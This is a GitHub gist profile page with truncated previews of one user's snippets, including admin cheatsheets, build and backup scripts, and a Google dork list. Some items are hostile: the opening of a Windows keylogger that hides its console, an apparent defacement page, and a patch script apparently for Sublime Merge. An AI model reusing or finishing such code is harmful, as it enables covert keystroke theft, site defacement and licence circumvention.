Skip to content

Instantly share code, notes, and snippets.

View spxwnmc's full-sized avatar
💀
Docker_Cat

Luis Gerardo spxwnmc

💀
Docker_Cat
View GitHub Profile
@spxwnmc
spxwnmc / hardening-pci.sh
Created August 10, 2023 01:21
hardening-pci.sh
#!/bin/bash
myhostname=$(hostname)
hostnamesindom="${myhostname%%.*}"
prompt="root@"${hostnamesindom}"#"
filename=${hostnamesindom}_bitacora_pci.txt
id-header(){
echo -e "${prompt} date" ; date
echo -e "${prompt} uname -a" ; uname -a
/* vim: set shiftwidth=2 tabstop=2 autoindent cindent expandtab filetype=css: */
/*!
* Base CSS for pdf2htmlEX
* Copyright 2012,2013 Lu Wang <coolwanglu@gmail.com>
* https://github.com/coolwanglu/pdf2htmlEX/blob/master/share/LICENSE
*/
/* Part 1: Web Page Layout: Free to modify, except for a few of them which are required by pdf2htmlEX.js, see the comments */
#sidebar { /* Sidebar */
position: absolute;
top: 0;
@spxwnmc
spxwnmc / grep.md
Created April 4, 2022 03:38 — forked from bbrother92/grep.md
#bash #regex #cheatsheet #grep

GREP Options

--max-count=number of matches before stopping search
--exclude=*.txt  with -r option

Note: Lookahead and lookbehind are Perl-style regular expression elements, so you'd have to use Perl directly, or GNU grep with the -P option, which then interprets Perl regex.

grep -o pattern file.txt **shows only the matched string** 
grep -bn pattern file.txt **shows row and col**  
grep -v pattern file.txt **inversion**  
@spxwnmc
spxwnmc / GoogleDorking.md
Created February 28, 2022 22:43 — forked from sundowndev/GoogleDorking.md
Google dork cheatsheet

Google dork cheatsheet

Search filters

Filter Description Example
allintext Searches for occurrences of all the keywords given. allintext:"keyword"
intext Searches for the occurrences of keywords all at once or one at a time. intext:"keyword"
inurl Searches for a URL matching one of the keywords. inurl:"keyword"
allinurl Searches for a URL matching all the keywords in the query. allinurl:"keyword"
intitle Searches for occurrences of keywords in title all or one. intitle:"keyword"
<html>
<head>
<title>spawnmc |</title>
</head>
<body>
<canvas id="canvas"></canvas>
<canvas id="canvas2"></canvas>
<h1>@spawnmc was here, perra</h1>
<div id="app"></div>
</body>
@spxwnmc
spxwnmc / WKeyLogger.cpp
Created December 1, 2021 08:38
Windows Keylogger
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "Ws2_32.lib")
#include <iostream>
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
int main(){
ShowWindow(GetConsoleWindow(), SW_HIDE);
@spxwnmc
spxwnmc / VirtualBox Cheat Sheet
Created November 20, 2021 06:52 — forked from githubfoam/VirtualBox Cheat Sheet
VirtualBox Cheat Sheet
==========================================================================================================
problem: move/copy VM manually and run
Cannot register the DVD image
C:\Program Files\Oracle\VirtualBox\VBoxGuestAdditions.iso' with UUID {fc087cbc-df04-47b4-b42f-25f614463f78} already exists.
fix: edit ".VBOX" file and remove entries between tags
<DVDImages>
</DVDImages>
==========================================================================================================
problem:
The virtual machine is being powered down, stuck
@spxwnmc
spxwnmc / Pop_shell-Compile.sh
Created August 2, 2021 03:01
todos me pelan la verga
#!/usr/bin/env bash
sudo apt install --no-install-recommends node-typescript build-essential make &&
mkdir ~/pop-shell-comp &&
cd ~/pop-shell-comp &&
git clone https://github.com/pop-os/shell.git &&
cd shell && make all &&
make install &&
sudo install -Dm755 scripts/configure.sh "/usr/share/gnome-shell/extensions/pop-shell@system76.com/scripts/configure.sh"
@spxwnmc
spxwnmc / patch.sh
Created June 20, 2021 22:34 — forked from rufoa/patch.sh
sublime merge 2 build 2056 linux
#!/bin/bash
set -o errexit
set -o nounset
set -o pipefail
target="${1:-/opt/sublime_merge/sublime_merge}"
check_sha() {
local sha_valid
@spxwnmc
spxwnmc / backup.sh
Created June 8, 2021 04:43
Backup incremental con rsync a servidor remoto
#!/usr/bin/env bash
DATE=$(date +"%d/%m/%y %H:%M")
SSH_USER=spawn
SSH_IP=192.168.100.45
REMOTE_FOLDER=/home/spawn/backups/docs
FOLDER_BACKUP=~/Documentos/
respaldo(){
sudo rsync -avz -e 'ssh -p 3777' $FOLDER_BACKUP ${SSH_USER}@${SSH_IP}:${REMOTE_FOLDER}